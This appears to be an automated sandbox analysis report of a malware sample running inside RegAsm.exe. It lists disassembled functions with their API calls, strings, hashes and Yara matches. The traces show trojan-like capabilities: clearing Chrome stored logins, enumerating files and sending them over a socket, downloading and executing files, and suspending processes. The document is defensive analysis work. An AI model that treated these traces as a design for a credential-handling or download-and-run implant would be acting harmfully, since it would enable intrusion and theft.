                      • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                      Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                      • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                      • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InfoLocale
                      • String ID: ACP$OCP$['E
                      • API String ID: 2299586839-2532616801
                      • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                      • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                      • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                      • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                      Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                      Download Yara Rule
                      APIs
                      • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                      • GetLastError.KERNEL32 ref: 0040BA58
                      Strings
                      • [Chrome StoredLogins not found], xrefs: 0040BA72
                      • UserProfile, xrefs: 0040BA1E
                      • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                      • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteErrorFileLast
                      • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                      • API String ID: 2018770650-1062637481
                      • Opcode ID: 008ec232383838ba67865b61595300985ebead86482bee1f0298aab426d5d3e8
                      • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                      • Opcode Fuzzy Hash: 008ec232383838ba67865b61595300985ebead86482bee1f0298aab426d5d3e8
                      • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                      Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                      Download Yara Rule
                      APIs
                      • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                      • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                      • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                      • GetLastError.KERNEL32 ref: 0041799D
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                      • String ID: SeShutdownPrivilege
                      • API String ID: 3534403312-3733053543
                      • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                      • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                      • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                      • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                      Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 00409258
                        • Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,01EC4950,00000010), ref: 004048E0
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                      • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                      • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                      • FindClose.KERNEL32(00000000), ref: 004093C1
                        • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                        • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                        • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                      • FindClose.KERNEL32(00000000), ref: 004095B9
                        • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                        • Part of subcall function 00404AA1: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                      • String ID:
                      • API String ID: 1824512719-0
                      • Opcode ID: 6cad6af0f329120c81c925ac196a2686bd147d6e8b43e11fbd3a5bfa6db4d0ce
                      • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                      • Opcode Fuzzy Hash: 6cad6af0f329120c81c925ac196a2686bd147d6e8b43e11fbd3a5bfa6db4d0ce
                      • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                      Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                      • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                      • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                      • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                      • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ManagerStart
                      • String ID:
                      • API String ID: 276877138-0
                      • Opcode ID: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                      • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                      • Opcode Fuzzy Hash: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                      • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                      Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                      Download Yara Rule
                      APIs
                      • FindResourceA.KERNEL32 ref: 0041B4B9
                      • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                      • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                      • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Resource$FindLoadLockSizeof
                      • String ID: SETTINGS
                      • API String ID: 3473537107-594951305
                      • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                      • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                      • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                      • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                      Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 0040966A
                      • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                      • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                      • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$File$CloseFirstH_prologNext
                      • String ID:
                      • API String ID: 1157919129-0
                      • Opcode ID: 00f782369a89d33849f7f6744ff3d95afce15a7ce25431a6756746a16509b34f
                      • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                      • Opcode Fuzzy Hash: 00f782369a89d33849f7f6744ff3d95afce15a7ce25431a6756746a16509b34f
                      • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                      Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 00408811
                      • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                      • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                      • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                      • String ID:
                      • API String ID: 1771804793-0
                      • Opcode ID: 9edf81c412167246dcebebaed6ac7266be070ce32512060c2657004984372ffa
                      • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                      • Opcode Fuzzy Hash: 9edf81c412167246dcebebaed6ac7266be070ce32512060c2657004984372ffa
                      • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                      Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                      • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DownloadExecuteFileShell
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$open
                      • API String ID: 2825088817-3056885514
                      • Opcode ID: 3fc42af0798a3850344468494af13366b2e301960994dfbc5a9fbfd517203bbe
                      • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                      • Opcode Fuzzy Hash: 3fc42af0798a3850344468494af13366b2e301960994dfbc5a9fbfd517203bbe
                      • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                      Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                      • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileFind$FirstNextsend
                      • String ID: XPG$XPG
                      • API String ID: 4113138495-1962359302
                      • Opcode ID: 0ec0b9f20ccdad457dedb6f2cf22db594b30cfa4a3d535fb3c592c6c4aca39ff
                      • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                      • Opcode Fuzzy Hash: 0ec0b9f20ccdad457dedb6f2cf22db594b30cfa4a3d535fb3c592c6c4aca39ff
                      • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                      Function 00451CD8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                      • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                      • String ID: sJD
                      • API String ID: 1661935332-3536923933
                      • Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                      • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                      • Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                      • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                      Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                      • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorInfoLastLocale$_free$_abort
                      • String ID:
                      • API String ID: 2829624132-0
                      • Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                      • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                      • Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
                      • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                      Function 100060E2 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 100061DA
                      • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 100061E4
                      • UnhandledExceptionFilter.KERNEL32(?), ref: 100061F1
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ExceptionFilterUnhandled$DebuggerPresent
                      • String ID:
                      • API String ID: 3906539128-0
                      • Opcode ID: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                      • Instruction ID: da4494ed88e82f72bec2981ffd8ad716d5acf317cb547f21db02b9c2842d332f
                      • Opcode Fuzzy Hash: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                      • Instruction Fuzzy Hash: 4A31D37490122C9BEB21DF24DD88B8DBBB8EF08350F5041DAE81CA7265E7709F818F55
                      Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                      • SetUnhandledExceptionFilter.KERNEL32 ref: 0043BC24
                      • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExceptionFilterUnhandled$DebuggerPresent
                      • String ID:
                      • API String ID: 3906539128-0
                      • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                      • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                      • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                      • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                      Function 10004AB4 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetCurrentProcess.KERNEL32(?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082,10012108,0000000C,10001F3A,?), ref: 10004AD5
                      • TerminateProcess.KERNEL32(00000000,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082,10012108,0000000C,10001F3A,?), ref: 10004ADC
                      • ExitProcess.KERNEL32 ref: 10004AEE
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Process$CurrentExitTerminate
                      • String ID:
                      • API String ID: 1703294689-0
                      • Opcode ID: 0083298fcdf57ae02ee63dbac9b2f40de16c14eb6cad1f3ac06a4de9001c4c8a
                      • Instruction ID: 67c7ca3480f18a9b01e05da0926f82de4ad888d39fdd55e1be860e0f4a97641b
                      • Opcode Fuzzy Hash: 0083298fcdf57ae02ee63dbac9b2f40de16c14eb6cad1f3ac06a4de9001c4c8a
                      • Instruction Fuzzy Hash: 04E04676000218AFEF01BF25CD48B493B6AEF013C1F128010F9088B029CB35ED52CA68
                      Function 004432B5 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetCurrentProcess.KERNEL32(?,?,0044328B,?), ref: 004432D6
                      • TerminateProcess.KERNEL32(00000000,?,0044328B,?), ref: 004432DD
                      • ExitProcess.KERNEL32 ref: 004432EF
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CurrentExitTerminate
                      • String ID:
                      • API String ID: 1703294689-0
                      • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                      • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                      • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                      • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                      Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Clipboard$CloseDataOpen
                      • String ID:
                      • API String ID: 2058664381-0
                      • Opcode ID: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                      • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                      • Opcode Fuzzy Hash: d38c0863fa6e1407ff7c70a07519499014c38180332fc89bd075bae9f751f2b8
                      • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                      Function 0041BB09 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                      Download Yara Rule
                      APIs
                      • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,00415FFF,00000000), ref: 0041BB14
                      • NtSuspendProcess.NTDLL(00000000), ref: 0041BB21
                      • CloseHandle.KERNEL32(00000000), ref: 0041BB2A
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseHandleOpenSuspend
                      • String ID:
                      • API String ID: 1999457699-0
                      • Opcode ID: 65307f06ae4da2db5a73601f3478dcd91fa25f5db04ba40a4c100ff3b6d3014e
                      • Instruction ID: bc08a5c74f7a636e8823ed9fed2a710289fdff4cb0149baf3e3f1c1580a6a9c0
                      • Opcode Fuzzy Hash: 65307f06ae4da2db5a73601f3478dcd91fa25f5db04ba40a4c100ff3b6d3014e
                      • Instruction Fuzzy Hash: 96D05E36204231E3C32017AA7C0CE97AD68EFC5AA2705412AF804C26649B20CC01C6E8
                      Function 0041BB35 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                      Download Yara Rule
                      APIs
                      • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,00416024,00000000), ref: 0041BB40
                      • NtResumeProcess.NTDLL(00000000), ref: 0041BB4D
                      • CloseHandle.KERNEL32(00000000), ref: 0041BB56
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
